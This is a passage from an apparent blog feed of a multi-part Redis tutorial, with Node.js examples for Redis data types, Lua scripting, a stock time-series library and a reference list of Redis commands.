client.quit(); }); Run the above code. You should see the following console output: When executing the same script multiple times, you can save network bandwidth usage by using the commands SCRIPT LOAD and EVALSHA instead of EVAL. The SCRIPT LOAD command caches a Lua script and returns an identifier. The EVALSHA command executes a Lua script based on that identifier. With EVALSHA, over a small identifier is transferred over the network.\nCreate a file called evalsha-example.js with the following code:\nvar redis = require(\u0026#34;redis\u0026#34;); var client = redis.createClient(); var luaScript = \u0026#39;return \u0026#34;Lua script using EVALSHA\u0026#34;\u0026#39;; client.script(\u0026#34;load\u0026#34;, luaScript, function(err, reply){ var scriptId = reply; client.evalsha(scriptId, 0, function(err, reply){ console.log(reply); client.quit(); }); }); Then execute the script. You should see the following output: Misc commands INFO: returns all Redis server statistics, including the Redis version, OS, connected clients, memory usage, persistence, keyspace, and replication. By default, shows all available sections: memory, persistence, CPU, command, cluster, replication, and clients. DBSIZE: returns the number of existing keys in a Redis server. DEBUG SEGFAULT: crashes the Redis server process by performing an invalid memory access. MONITOR: shows all the commands processed by the Redis server in real time. CLIENT LIST: returns a list of all clients connected to the server. CLIENT SETNAME: changes a client name. CLIENT KILL: terminates a client connection. It is possible to terminate by IP, port, ID, or type. FLUSHALL: deletes all keys from Redis. RANDOMKEY: returns a random existing key name. EXPIRE: sets a timeout in seconds for a given key. The key will be deleted after the specified amount of seconds. A negative timeout will delete the key instantaneously. EXPIREAT: sets a timeout for a given key based on a Unix timestamp. TTL: returns the remaining time to live(in seconds) of a key that has an associated timeout. Returns -1 if the key does not have an associated timeout. Returns -2 if the key does not exist. PTTL: the same as TTL, but the return value is in milliseconds. SET: set a value to a given key. Syntax: SET key value [EX seconds|PX milliseconds] [NX|XX] EX - set an expiration time in seconds PX - set an expiration time in milliseconds NX - only set the key if it does not exist XX - only set the key if it already exists\nPERSIST: removes the existing timeout of a given key. Returns 1 if the timeout is removed of 0 if the key does not have an associated timeout. SETEX: sets a value to a given key and an expiration. DEL: removes one or many keys from Redis. Returns the number of removed keys. EXISTS: returns 1 if a certain key exists and 0 if it does not. PING: returns \u0026ldquo;PONG\u0026rdquo;. Useful for testing server/client connection. MIGRATE: moves a given key to a destination Redis server. This command is atomic, and both Redis servers will be blocked during the key migration. Syntax: MIGRATE host port key destination-db timeout [COPY] [REPLACE] COPY - keep the key in the local Redis server and create a copy in the destination server. REPLACE - replace the existing key in the destination server. SELECT: changes the current database that the client is connected to. Redis has 16 databases by default. AUTH: is used to authorize a client to connect to Redis. SCRIPT KILL: terminates the running Lua script if no write operations have been performed by the script. If the script has performed any write operations, the SHUTDOWN NOSAVE command must be executed. Returns OK, NOTBUSY, and UNKILLABLE. SHUTDOWN: stops all client, causes data to persist if enabled, and shuts down the Redis server. Accepts optional parameters: SAVE - forces Redis to save all of the data to a file called dump.rdb. NOSAVE - prevents Redis from persisting data to the disk. OBJECT ENCODING: returns the encoding used by a given key.\nOptimizations All data types in Redis can use different encodings to improve performance or save memory. A String that has only digits (1234) uses less memory that a string of letters because they use different encodings. Data types use different encodings based on thresholds defined in the Redis configuration file (redis.conf).\nStart a Redis server with low values for all configurations. String Available String encodings: int: is used when the string is represented by a 64-bit signed integer embstr: is used for strings fewer that 40 bytes raw: is used for strings more than 40 bytes\nList Available encodings for Lists: ziplist: is used when the List size has fewer elements than the configuration list-max-ziplist-entries and each List element has fewer bytes than the configuration list-max-ziplist-value linkedlist: us used when the previous limits are exceeded\nSet Available encodings for Sets: intset: is used when all elements of a Set are integers and the Set cardinality is smaller than set-max-intset-entries hashtable: is used when any element of a Set is not an integer or the Set cardinality exceeds set-max-intset-entries Hash Available encodings for Hashes: ziplist: is used when the number of fields in the Hash does to exceed the hash-max-ziplist-entries and each field name and value of the Hash is less(in bytes) that the hash-max-ziplist-value hashtable: is used when a Hash size or any of its values exceed the hash-max-ziplist-entries and hash-max-ziplist-value Sorted Set Available encodings: ziplist: is used when a Sorted Set has fewer entries than the set-max-ziplist-entries and each of its values are smaller(in bytes) than zset-max-ziplist-value skiplist: is used when the Sorted Set number of entries or size of any of its values exceeds the set-max-ziplist-entries and zset-max-ziplist-value\nTo sum up, if you have a large dataset and need to optimize for memory, you can tweak these configurations until you find a good trade-off between memory and performance. That\u0026rsquo;s all for today :)\n","permalink":"https://www.ryzhak.com/comprehensive-guide-to-redis-part-4/","summary":"In this tutorial, we are going to overview other Redis commands and features.","title":"Comprehensive guide to Redis. Part 4."},{"content":"A time series is an ordered sequence of values that are made over a time interval. You can use time series in statistics, communications, and social networks. I this tutorial we are going to create a simple stock time series Node.js library using Redis Strings. This library records events per second, minute, hour, and day.\nThis library will be able to save an event at a given timestamp with an insert method and fetch values within a range of timestamps with a fetch method. The library we are going to create provides multiple granularities: second, minute, hour, and day. For example, if an event happens on date 8/11/2015 at 00:00:00(timestamp 1446940800), the following Redis keys will be incremented: - event:1sec:1446940800 - event:1min:1446940800 - event:1hour:1446940800 - event:1day:1446940800\nCreate a file stock-timeseries.js with the following code:\n//time series constructor. Requires a redis client and a namespace function TimeSeries(client, namespace){ this.namespace = namespace; this.client = client; //granularity names and their equivalents in seconds this.units = { second:1, minute: 60, hour: 60 * 60, day: 24 * 60 * 60 }; //each granularity has a name, TTL(time to live) and a duration. //the null ttl present on 1dat meands that this ttl never expires this.granularities = { \u0026#39;1sec\u0026#39;: {name: \u0026#39;1sec\u0026#39;, ttl: this.units.hour * 2, duration: this.units.second}, \u0026#39;1min\u0026#39;: {name: \u0026#39;1min\u0026#39;, ttl: this.units.day * 7, duration: this.units.minute}, \u0026#39;1hour\u0026#39;: {name: \u0026#39;1hour\u0026#39;, ttl: this.units.day * 60, duration: this.units.hour}, \u0026#39;1day\u0026#39;: {name: \u0026#39;1day\u0026#39;, ttl: null, duration: this.units.day} }; } //insert a particular price at a given timestamp TimeSeries.prototype.insert = function(timestampInSeconds, price){ //iterate over all franularities for (var granularityName in this.granularities){ var granularity = this.granularities[granularityName]; //get a key name in the format \u0026#34;napespace:granularity:timestamp\u0026#34; //for ex.: \u0026#34;google:1sec:12\u0026#34; var key = this._getKeyName(granularity, timestampInSeconds); //execute the SET command this.client.set(key, price); //the EXPIRE command //pass the key and the ttl //this command deletes a redis key automatically after a given number //of seconds if(granularity.ttl !== null){ this.client.expire(key, granularity.ttl); } } }; //returns a key based on granularitu and timestamp TimeSeries.prototype._getKeyName = function(granularity, timestampInSeconds){ var roundedTimestamp = this._getRoundedTimestamp(timestampInSeconds, granularity.duration); return [this.namespace, granularity.name, roundedTimestamp].join(\u0026#39;:\u0026#39;); }; //returns a normalized timestamp by granularity duration. //For example, all inserts that happen in the first minute of an hour are stored //in a key like \u0026#34;namespace:1min:0\u0026#34;. All inserts from the second minute are stored //in the \u0026#34;namespace:1min:60\u0026#34;, and so on TimeSeries.prototype._getRoundedTimestamp = function(timestampInSeconds, precision){ return Math.floor(timestampInSeconds / precision) * precision; }; //executes a callback by passing an array of data points TimeSeries.prototype.fetch = function(granularityName, beginTimestamp, endTimestamp, onComplete){ var granularity = this.granularities[granularityName]; var begin = this._getRoundedTimestamp(beginTimestamp, granularity.duration); var end = this._getRoundedTimestamp(endTimestamp, granularity.duration); var keys = []; //iterate over all the timestamps in the specified range and save their values //in the \u0026#34;keys\u0026#34; variable for(var timestamp = begin; timestamp \u0026lt;= end; timestamp += granularity.duration){ var key = this._getKeyName(granularity, timestamp); keys.push(key); } //the MGET command this.client.mget(keys, function(err, replies){ var results = []; //iterate over all replies for(var i = 0; i \u0026lt; replies.length; i++){ var timestamp = beginTimestamp + i * granularity.duration; //convert value to an integer var value = parseInt(replies[i], 10) || 0; //save timestamp and value in the \u0026#34;results\u0026#34; variable results.push({timestamp: timestamp, value:value}); } //execute callback passing the variables \u0026#34;granularityName\u0026#34; and \u0026#34;results\u0026#34; onComplete(granularityName, results); }); }; //make a function available as a module in Node.js exports.TimeSeries = TimeSeries; Now create a file called using-stock-timeseries.js, which will illustrate how to use our library. This file inserts stock quotes for a TimeSeries called \u0026ldquo;GAZPROM\u0026rdquo;, and then fetches values from a different granularities. Before inserting data, we remove all existing keys.\nvar redis = require(\u0026#34;redis\u0026#34;); var client = redis.createClient(); //the FLUSHALL command //removes all of the data from Redis client.flushall(); var timeseries = require(\u0026#34;./stock-timeseries\u0026#34;); //create a TimeSeries object passing the redis client and the \u0026#34;GAZPROM\u0026#34; namespace //as an argument var StocksGazprom = new timeseries.TimeSeries(client, \u0026#34;GAZPROM\u0026#34;); //this timestamp value was chosen to make it easier to read the output var beginTimestamp = 0; //execute the insert function StocksGazprom.insert(beginTimestamp, 10); //execute the insert function, passing a timestamp that is 1 second after \u0026#34;beginTimestamp\u0026#34; StocksGazprom.insert(beginTimestamp + 1, 11); StocksGazprom.insert(beginTimestamp + 2, 12); StocksGazprom.insert(beginTimestamp + 3, 13); StocksGazprom.insert(beginTimestamp + 4, 14); //callback for displaying the output of the \u0026#34;fetch\u0026#34; function function displayResults(granularityName, results){ console.log(\u0026#34;Results from\u0026#34;, granularityName,\u0026#34;:\u0026#34;); console.log(\u0026#34;Timestamp | Value\u0026#34;); console.log(\u0026#34;---------- | ------\u0026#34;); for(var i = 0; i \u0026lt; results.length; i++){ console.log(\u0026#39;\\t\u0026#39; + results[i].timestamp + \u0026#39;\\t\u0026#39; + results[i].value); } console.log(); } //retrieve an interval of 5 seconds StocksGazprom.fetch(\u0026#34;1sec\u0026#34;, beginTimestamp, beginTimestamp + 4, displayResults); //retrieve an interval of 5 minutes StocksGazprom.fetch(\u0026#34;1min\u0026#34;, beginTimestamp, beginTimestamp + 4, displayResults); client.quit(); Now run your Redis server via redis-server. Then run node using-stock-timeseries.js. You should see the following output:\nThat\u0026rsquo;s all for today :)\n","permalink":"https://www.ryzhak.com/comprehensive-guide-to-redis-part-3/","summary":"A time series is an ordered sequence of values that are made over a time interval. You can use time series in statistics, communications, and social networks. I this tutorial we are going to create a simple stock time series Node.js library using Redis Strings. This library records events per second, minute, hour, and day.","title":"Comprehensive guide to Redis. Part 3."},{"content":"In this tutorial, we are going to discover a few more data types like Set, Sorted Set, Bitmap, and HyperLogLog.\nSets A Set is a collection of distinct strings. It is impossible to add repeated elements to a Set. A Set can hold more than 4 billion elements per Set.\nYou can use Sets for: - data grouping. Something like recommended purchases in e-commerce sites. - data filtering. Grouping all customers who bought the same product. - checking for membership. Check whether the customer is in the patron group.\nCommands:\nSADD: add one or many members to a Set. It ignores members that already exist in a Set and returns the number of added members. SINTER: expects one or many Sets and returns an array of members that belong to every Set. SDIFF: expects one or many Sets and returns an array of members of the first Set which do not exist in the following one. SUNION: returns a union of Sets. All elements are unique. SRANDMEMBER: returns a random member from a Set. SISMEMBER: checks whether a member exists in a Set. Returns 1(exist) or 0(not exist). SREM: removes and returns members from a Set. SCARD: returns the number of members in a Set. (cardinality) SMEMBERS: returns an array of all members in a Set.\nLet\u0026rsquo;s create an example. Imagine we have an e-commerce site and we want to send our special Christmas offers to the users. We have to implement the following functions: - mark offer as sent - check whether a user received a group of offers - gather metrics\nEvery offer is a Set containing user IDs that have received the offer. Create a file called christmas-offers.js with the following code:\nvar redis = require(\u0026#34;redis\u0026#34;); var client = redis.createClient(); //mark offer as sent to a particular user function markOfferAsSent(offerId, userId){ //execute the SADD command client.sadd(offerId, userId); } //checks whether a user ID belongs to a Set and send an offer if it was not sent function sendOfferIfNotSent(offerId, userId){ //the SISMEMBER function client.sismember(offerId, userId, function(err, reply){ //offer was sent if(reply){ console.log(\u0026#34;Offer\u0026#34;, offerId, \u0026#34;was already sent to user\u0026#34;, userId); } else { //send an offer console.log(\u0026#34;Sending\u0026#34;, offerId, \u0026#34;to user\u0026#34;, userId); //code to send an offer //... markOfferAsSent(offerId, userId); } }); } //show user IDs that exist in all Sets function showUsersThatReceivedAllOffers(offerIds){ //the SINTER command. Finding all users who received all offers client.sinter(offerIds, function(err, reply){ console.log(reply + \u0026#34; received all of the offers:\u0026#34; + offerIds); }); } //show user IDs that exist in any of the Sets function showUsersThatReceivedAtLeastOneOfTheOffers(offerIds){ //the SUNION command. Finding all users who received at least one offer client.sunion(offerIds, function(err, reply){ console.log(reply + \u0026#34; received at least one of the offers:\u0026#34; + offerIds); }); } markOfferAsSent(\u0026#39;offer:1\u0026#39;, \u0026#39;user:1\u0026#39;); markOfferAsSent(\u0026#39;offer:1\u0026#39;, \u0026#39;user:2\u0026#39;); markOfferAsSent(\u0026#39;offer:2\u0026#39;, \u0026#39;user:1\u0026#39;); markOfferAsSent(\u0026#39;offer:2\u0026#39;, \u0026#39;user:3\u0026#39;); sendOfferIfNotSent(\u0026#39;offer:1\u0026#39;, \u0026#39;user:1\u0026#39;); sendOfferIfNotSent(\u0026#39;offer:1\u0026#39;, \u0026#39;user:2\u0026#39;); sendOfferIfNotSent(\u0026#39;offer:1\u0026#39;, \u0026#39;user:3\u0026#39;); showUsersThatReceivedAllOffers([\u0026#34;offer:1\u0026#34;, \u0026#34;offer:2\u0026#34;]); showUsersThatReceivedAtLeastOneOfTheOffers([\u0026#34;offer:1\u0026#34;, \u0026#34;offer:2\u0026#34;]); client.quit(); Now run the code via node christmas-offers. You should see the following console output:\nSorted Sets A Sorted Set is a collection of nonrepeating Strings sorted by score. You can have elements with repeated scores. In this case, the repeated elements are ordered in alphabetical order. Sorted Set operations run in O(log(N)) time.\nYou can use Sorted Sets for: - leaderboard for online games - input autocomplete - real time queue\nCommands:\nZADD: adds one or many members to a Sorted Set. Returns the number of added members. Elements are added with a score and a String value. ZRANGE: returns elements from the lowest to the highest score. ZREVRANGE: returns elements from the highest to the lowest score. If you pass an optional parameter WITHSCORES it will return elements with their scores. ZREM: removes a member from a Sorted Set ZSCORE: returns the score of a member ZRANK: returns the member index ordered from low to high. The member with the lowest score has index 0. ZREVRANK: returns the member index ordered from high to low. The member with the highest score has index 0.\nLet\u0026rsquo;s create an example. We will build a leaderboard for an online game. We have to implement the following functions: - add and remove users - display detailed user info - show the top COUNT users - show the users above and below a given user\nCreate a file leaderboard.js with the following code:\nvar redis = require(\u0026#34;redis\u0026#34;); var client = redis.createClient(); //leaderboard constructor function LeaderBoard(key){ this.key = key; } //adding user to the leaderboard LeaderBoard.prototype.addUser = function(username, score){ //the ZADD command. Add user with a score to a Sorted Set client.zadd([this.key, score, username], function(err, replies){ console.log(\u0026#34;User\u0026#34;, username, \u0026#34;added to the leaderboard!\u0026#34;); }); }; //removing user LeaderBoard.prototype.removeUser = function(username){ //the ZREM command client.zrem([this.key, username], function(err, replies){ console.log(\u0026#34;User\u0026#34;, username, \u0026#34;removed successfully!\u0026#34;); }); }; //display user score and rank LeaderBoard.prototype.getUserScoreAndRank = function(username){ var leaderboardKey = this.key; //the ZSCORE command client.zscore(leaderboardKey, username, function(err, zscoreReply){ //the ZREVRANK command client.zrevrank(leaderboardKey, username, function(err, zrevrankReply){ console.log(\u0026#34;\\nDetails of \u0026#34; + username + \u0026#34;:\u0026#34;); console.log(\u0026#34;Score:\u0026#34;,zscoreReply + \u0026#34;, Rank: #\u0026#34; + (zrevrankReply + 1)); }); }); }; //returns QUANTITY users from highest to lowest score LeaderBoard.prototype.showTopUsers = function(quantity){ //the ZREVRANGE command client.zrevrange([this.key, 0, quantity - 1, \u0026#34;WITHSCORES\u0026#34;], function(err, reply){ console.log(\u0026#34;\\nTop\u0026#34;, quantity, \u0026#34;users:\u0026#34;); //show username and score for(var i = 0, rank = 1; i \u0026lt; reply.length; i +=2, rank++){ console.log(\u0026#34;#\u0026#34; + rank, \u0026#34;User: \u0026#34; + reply[i] + \u0026#34; score:\u0026#34;, reply[i+1]); } }); }; //show users above and under the given user LeaderBoard.prototype.getUsersAroundUser = function(username, quantity, callback){ var leaderboardKey = this.key; //the ZREVRANK command. Get users from highest to lowest client.zrevrank(leaderboardKey, username, function(err, zrevrankReply){ //first element of the result var startOffset = Math.floor(zrevrankReply - quantity/2 + 1); if(startOffset \u0026lt; 0) startOffset = 0; //last element var endOffset = startOffset + quantity - 1; //get the list of users between startOffset and endOffset client.zrevrange([leaderboardKey, startOffset, endOffset, \u0026#34;WITHSCORES\u0026#34;], function(err, zrevrangeReply){ var users = []; for(var i = 0, rank = 1; i \u0026lt; zrevrangeReply.length; i += 2, rank++){ var user = { rank: startOffset + rank, score: zrevrangeReply[i+1], username: zrevrangeReply[i] }; users.push(user); } callback(users); }); }); }; var leaderBoard = new LeaderBoard(\u0026#34;online-score\u0026#34;); leaderBoard.addUser(\u0026#34;Mike\u0026#34;, 80); leaderBoard.addUser(\u0026#34;John\u0026#34;, 20); leaderBoard.addUser(\u0026#34;Alex\u0026#34;, 10); leaderBoard.addUser(\u0026#34;Patricia\u0026#34;, 30); leaderBoard.addUser(\u0026#34;Ann\u0026#34;, 60); leaderBoard.addUser(\u0026#34;Julia\u0026#34;, 40); leaderBoard.addUser(\u0026#34;Renat\u0026#34;, 50); leaderBoard.addUser(\u0026#34;Atrem\u0026#34;, 70); leaderBoard.removeUser(\u0026#34;Mike\u0026#34;); leaderBoard.getUserScoreAndRank(\u0026#34;Ann\u0026#34;); leaderBoard.showTopUsers(3); leaderBoard.getUsersAroundUser(\u0026#34;Julia\u0026#34;, 5, function(users){ console.log(\u0026#34;\\nUsers around Julia:\u0026#34;); users.forEach(function(user){ console.log(\u0026#34;#\u0026#34; + user.rank, \u0026#34;User:\u0026#34;, user.username + \u0026#34;, score:\u0026#34;, user.score); }); client.quit(); }) Now run the code via node leaderboard. You should see the following console output:\nBitmaps A Bitmap is a sequence of bits. Each of them can store 0 or 1. Basically, Bitmap is an array of ones and zeroes.\nSee an example: 10011 This is a bitmap with one set on offsets 0,3,4 and zero set on offsets 1 and 2\nBitmaps are great for real-time analytics. For example, to make a report \u0026ldquo;How many users bought a product A yesterday?\u0026rdquo;.\nThe examples will show how to use Bitmap commands to userIDs of users who bought a given product. Each user is identified by an ID. Each Bitmap offset represents a user. For example, user 10 is offset 10, user 50 is offset 50, and so on.\nCommands:\nSETBIT: gives a value to a Bitmap offset. GETBIT: returns a value of a Bitmap offset. BITCOUNT: returns the number of bits marked as 1. BITOP: requires a bitwise operation(OR, AND, XOR, NOT) and a list of keys to apply to this operation. It stores the result in the destination key.\nThe example application will be a web analytics system that saves and counts daily user visits and the retrieves userIDs from the visits on a given date.\nCreate a file metrics.js with the following code:\nvar redis = require(\u0026#34;redis\u0026#34;); //create a Redis client that uses Node.js buffers //instead of js strings var client = redis.createClient({return_buffers: true}); //store userID in a given date(YYYY-MM-DD) function storeDailyVisit(date, userId){ var key = \u0026#39;visits:daily:\u0026#39; + date; //the SETBIT command. userId is an offset client.setbit(key, userId, 1, function(err, reply){ console.log(\u0026#34;User\u0026#34;, userId, \u0026#34;visited on\u0026#34;, date); }); } //count the number of users who visited the website on a //given date function countVisits(date){ var key = \u0026#34;visits:daily:\u0026#34; + date; //the BITCOUNT command. Display the number of users //who visited the website in a given date client.bitcount(key, function(err, reply){ console.log(date,\u0026#34;had\u0026#34;,reply,\u0026#34;visit.\u0026#34;); }); } //display all userIDs who visited the website on a //given date function showUserIdsFromVisit(date){ var key = \u0026#39;visits:daily:\u0026#39; + date; client.get(key, function(err, bitmapValue){ var userIds = []; var data = bitmapValue.toJSON(); //iterate over the bytes of the Bitmap data.forEach(function(byte, byteIndex){ //iterate over each bit of a byte for(var bitIndex = 7; bitIndex \u0026gt;= 0; bitIndex--){ //shift bytes to the right to remove the bits //that were already worked on var visited = byte \u0026gt;\u0026gt; bitIndex \u0026amp; 1; if(visited === 1){ var userId = byteIndex * 8 + (7 - bitIndex); userIds.push(userId); } } }); console.log(\u0026#34;Users \u0026#34; + userIds + \u0026#34; visited on \u0026#34; + date); }); } storeDailyVisit(\u0026#39;2015-01-01\u0026#39;,\u0026#39;3\u0026#39;); storeDailyVisit(\u0026#39;2015-01-01\u0026#39;,\u0026#39;4\u0026#39;); storeDailyVisit(\u0026#39;2015-01-01\u0026#39;,\u0026#39;15\u0026#39;); storeDailyVisit(\u0026#39;2015-01-01\u0026#39;,\u0026#39;65\u0026#39;); countVisits(\u0026#39;2015-01-01\u0026#39;); showUserIdsFromVisit(\u0026#39;2015-01-01\u0026#39;); client.quit(); Now run node metrics. You should see the following console output:\nHyperLogLogs A HyperLogLog is not a real data type. It is an algorithm that uses randomization in order to provide a very good approximation of the number of unique members in a Set. It runs in O(1) constant time.\nThe HyperLogLog algorithm is probabilistic. It does not ensure 100 percent accuracy. The Redis implementation has an error of 0.81 percent. In some cases, 99.19 percent is good enough.\nThere are only three commands for HyperLogLogs: PFADD, PFCOUNT, PFMERGE. The prefix PF is in honor of Philippe Flajolet who is the author of the algorithm.\nYou can use HyperLogLogs for: - counting the number of search terms on your website - counting the number of unique users - counting the number of distinct words on a page - counting the number of distinct hashtags used by a user\nCommands:\nPFADD: adds one or many strings to a HyperLogLog. Returns 1(if the cardinality was changed) or 0(the cardinality remains the same). PFCOUNT: accepts one or many keys as arguments. When there is a single argument, it returns the approximate cardinality. When there are multiple keys, it returns the approximate cardinality of the union of all unique elements. PFMERGE: accepts a destination key and one or many HyperLogLog keys. It merges all the specified keys and stores the result in the destination key.\nThe example application will be a web system for counting and retrieving unique website visits. Each date will have 24 keys that represent each hour of a day.\nCreate a file called unique-analytics.js and add the following code:\nvar redis = require(\u0026#34;redis\u0026#34;); var client = redis.createClient(); //add a user visit for a specified date(YYYY-MM-DD or YYYY-MM-DDTH) function addVisit(date, user){ var key = \u0026#39;visits:\u0026#39; + date; //the PFADD command client.pfadd(key, user); } //displays the count of unique visits in the given dates function count(dates){ var keys = []; //iterate over all dates dates.forEach(function(date, index){ keys.push(\u0026#39;visits:\u0026#39; + date); }); //the PFCOUNT command client.pfcount(keys, function(err, reply){ console.log(\u0026#34;Dates\u0026#34;, dates.join(\u0026#39;, \u0026#39;), \u0026#34;had\u0026#34;, reply, \u0026#34;visits\u0026#34;); }); } //merge visits on a given date function aggregateDate(date){ var keys = [\u0026#39;visits:\u0026#39; + date]; //iterate over every hour of a day for(var i = 0; i \u0026lt; 24; i++){ keys.push(\u0026#39;visits:\u0026#39; + date + \u0026#39;T\u0026#39; + i); } //the PFMERGE command. Merge visits from all 24 hours into the destination key client.pfmerge(keys, function(err, reply){ console.log(\u0026#34;Aggregated date\u0026#34;, date); }); } var MAX_USERS = 300; var TOTAL_VISITS = 10000; //create random visits of random users on random hours for(var i = 0; i \u0026lt; TOTAL_VISITS; i++){ var username = \u0026#39;user_\u0026#39; + Math.floor(1 + Math.random() * MAX_USERS); var hour = Math.floor(Math.random() * 24); addVisit(\u0026#39;2015-01-01T\u0026#39; + hour, username); } count([\u0026#39;2015-01-01T0\u0026#39;]); count([\u0026#39;2015-01-01T5\u0026#39;, \u0026#39;2015-01-01T6\u0026#39;, \u0026#39;2015-01-01T7\u0026#39;]); aggregateDate(\u0026#39;2015-01-01\u0026#39;); count([\u0026#39;2015-01-01\u0026#39;]); client.quit(); Now run node unique-anaytics. You should see the following console output:\nIn this tutorial, we discovered Sets, Sorted Sets, Bitmaps, and HyperLogLogs. That\u0026rsquo;s all for today :)\n","permalink":"https://www.ryzhak.com/comprehensive-guide-to-redis-part-2/","summary":"In this tutorial, we are going to discover a few more data types like Set, Sorted Set, Bitmap, and HyperLogLog.","title":"Comprehensive guide to Redis. Part 2."},{"content":"Redis (REmote DIctionary Server) is an advanced key-value data store. Read and write operations in Redis are very fast because it saves all data in the memory. Redis can also save data on the hard drive. The official Redis documentation can be found at http://redis.io. Redis is an open sources project used by many companies including Instagram and Twitter. In this tutorial, we will install Redis, install Node.js, and try out several data types.\nIn this series of tutorials, I\u0026rsquo;m using Redis 3.0.5 as well as Linux Mint.\nTo install Redis you should: 1. Download the latest stable release from http://redis.io/download 2. Unpack it 3. Run sudo make install 4. After the installation is finished, run make test to check whether everything is working correctly\nThere are several executable commands in Redis: - redis-cli: command-line interface for Redis(client part) - redis-server: Redis data store.\nBy default, Redis binds to port 6379. Run redis-server in your terminal. You can run the Redis client via redis-cli. SET: creates a key with a string value GET: reads the key value\nThe HELP command is useful for learning about syntax.\nThe KEYS command returns all keys that match a pattern.\n[](http://www.\u0026lt;a href=)\nNow it\u0026rsquo;s time to install Node.js. You can download it at https://nodejs.org/en/download/.\nThen create a separate folder for this tutorial, for example tutorial1. Run npm install redis inside this folder. This will install the redis module for Node.js.\nNow let\u0026rsquo;s create a classic \u0026ldquo;Hello World\u0026rdquo; example. Create a file called helloworld.js with the following code:\n//require the redis library in Node.js var redis = require(\u0026#34;redis\u0026#34;); //creating the redis client object var client = redis.createClient(); //SET command. Saving a string \u0026#34;Hello world\u0026#34; in a key \u0026#34;key\u0026#34; client.set(\u0026#34;key\u0026#34;, \u0026#34;Hello world\u0026#34;); //GET command. Getting the value stored in \u0026#34;key\u0026#34; adn output it client.get(\u0026#34;key\u0026#34;, redis.print); client.quit(); Now run node helloworld. You should see the following:\nRedis data types Different Redis data types are used to solve different issues.\nString data type can store any data: text, binary, integers. A String can not exceed 512MB. String use cases: - counting. You can store numbers like page views or video views. To increment or decrement values, you can use INCR, INCRBY, DECR, DECRBY, and INCRFLOATBY commands. - cache. You can cache binary or text data. It can be implemented using SET, GET, MSET, MGET commands. Strings have an automatic key expiration through the SETEX, EXPIRE, and EXPIREAT commands.\nMSET: sets the values of multiple keys at once. MGET: returns the values of multiple keys at once.\nEXPIRE: adds an expiration time in seconds to a given key. After that time, the is automatically deleted. It returns 1 (expiration is set successfully) or 0 (the key does not exist or cannot be set).\nTTL(Time To Live): returns an integer(seconds a given key has left to live). It can also return -2 (the key is expired or does not exist) or -1(the key exists but no expiration time set).\nINCR: increments a key by 1 and returns the value INCRBY: increments a key by a given number and returns the value DECR: decrements a key by 1 and returns the value DECRBY: decrements a key by a given number and returns the value INCRBYFLOAT: increments a key by a given float number and returns the value\nINCRBY, DECRBY, and INCRBYFLAOT can accept positive or negative numbers.\nNotice that the above commands are atomic(2 different clients can not execute the same command at the same time). Redis is single threaded. It always executes one command at a time.\nLet\u0026rsquo;s create a String example. We will create an application with a set of functions used to like and dislike photos. Add 3 examples:\nNotice the key structure: photo:[ID]:title. In this key we store our photo title. In the second key photo:[ID]:likes we will store the number of likes. The following example explains better.\nThere will be 3 functions in our code, the first increments the number of likes by 1, the seconds decrements the number of likes by 1, and the third displays the results. Create a file photolikes.js with the following code:\nvar redis = require(\u0026#34;redis\u0026#34;); var client = redis.createClient(); //creating a like function, that has a photo ID as the argument function like(id){ //defining our key, ex: \u0026#34;photo:1:likes\u0026#34; var key = \u0026#34;photo:\u0026#34; + id + \u0026#34;:likes\u0026#34;; //use the INCR command to increment the number of likes by 1 client.incr(key); } //same as like function, but decrements by 1 function dislike(id){ var key = \u0026#34;photo:\u0026#34; + id + \u0026#34;:likes\u0026#34;; client.decr(key); } //showing the photo title and the number of likes function showResults(id){ var headlineKey = \u0026#34;photo:\u0026#34; + id + \u0026#34;:title\u0026#34;; var voteKey = \u0026#34;photo:\u0026#34; + id + \u0026#34;:likes\u0026#34;; client.mget([headlineKey, voteKey], function(err, replies){ console.log(\u0026#34;Photo:\u0026#34; + replies[0] + \u0026#34; Likes:\u0026#34; + replies[1]); }); } like(1); like(1); like(1); like(1); dislike(1); like(2); like(2); like(3); showResults(1); showResults(2); showResults(3); Notice that all Redis commands have an optional callback function for errors and replies from the Redis server. We are using one of this callback in the mget function.\nNow run node photolikes. You should see the following output:\nThe next data type we are going to take up is Lists. This data type acts like a simple collection, stack, or queue. List commands are atomic. There are blocking commands in Redis\u0026rsquo;s Lists. It means that when a client executes a command in an empty List, the client will wait for a new item to be added in the List. Redis\u0026rsquo;s Lists are linked lists. A single List can hold more that 4 billion elements.\nList use cases: - storing most recent posts. As Twitter does. - event queue\nLPUSH: inserts data at the beginning of a List(left push) RPUSH: inserts data at the end of a List(right push)\nLLEN: returns the length of a List LINDEX: returns the element in a given index(indices are zero-based)\nIt is possible to use negative indicies. -1 is the last element, -2 is penultimate, and so on.\nLRANGE: returns an array with all elements from a given index range(including the start and the end indicies).\nLPOP: removes and returns the first element of a List RPOP: removes and returns the last element of a List\nNow let\u0026rsquo;s implement a simple log queue system. Items there are inserted at the front of the queue and removed from the end(FIFO - First In, First Out). Create a file called logqueue.js with the following code:\n//this function receives a queue name a the redis object as parameters function LogQueue(queueName, redisClient){ //save queueName as a property this.queueName = queueName; //save redisClient as a property this.redisClient = redisClient; //set the property queueKey to the proper redis key name this.queueKey = \u0026#34;queues:\u0026#34; + queueName; //no timeout this.timeout = 0; } LogQueue.prototype.size = function(callback){ //execute the LLEN command on the queue key name and pass callback as an argument this.redisClient.llen(this.queueKey, callback); }; //push an element to the list LogQueue.prototype.push = function(data){ //execute the LPUSH command by passing the queue key name and data argument this.redisClient.lpush(this.queueKey, data); }; //pop an element from the end LogQueue.prototype.pop = function(callback){ //execute the BRPOP command //passing the queue key name, timeout, and the callback //BRPOP removes the last element from the List. If the List is empty, it //waits until there is something to remove. //If we used RPOP here we would implement some kind of polling by ourselves this.redisClient.brpop(this.queueKey, this.timeout, callback); } //Node.js export, we will be able to access this object via require(\u0026#34;./logqueue\u0026#34;) exports.LogQueue = LogQueue; The producer pushes messages into the \u0026ldquo;logs\u0026rdquo; queue. The consumer then pops messages in another terminal window.\nCreate a file producer.js, which is going to add logs to a queue:\nvar redis = require(\u0026#34;redis\u0026#34;); var client = redis.createClient(); //require thr module logQueue, which we created in the logqueue.js file var queue = require(\u0026#34;./logqueue\u0026#34;); //create an instance of the function defined in the logqueue.js var logsQueue = new queue.LogQueue(\u0026#34;logs\u0026#34;, client); var MAX = 10; //create a loop and add 10 log messages to the queue for(var i = 0; i \u0026lt; MAX; i++){ logsQueue.push(\u0026#34;Logs #\u0026#34; + i); } console.log(MAX + \u0026#34; logs were created\u0026#34;); client.quit(); Now execute the producer file. You should see the following: Create a consumer.js file and add the 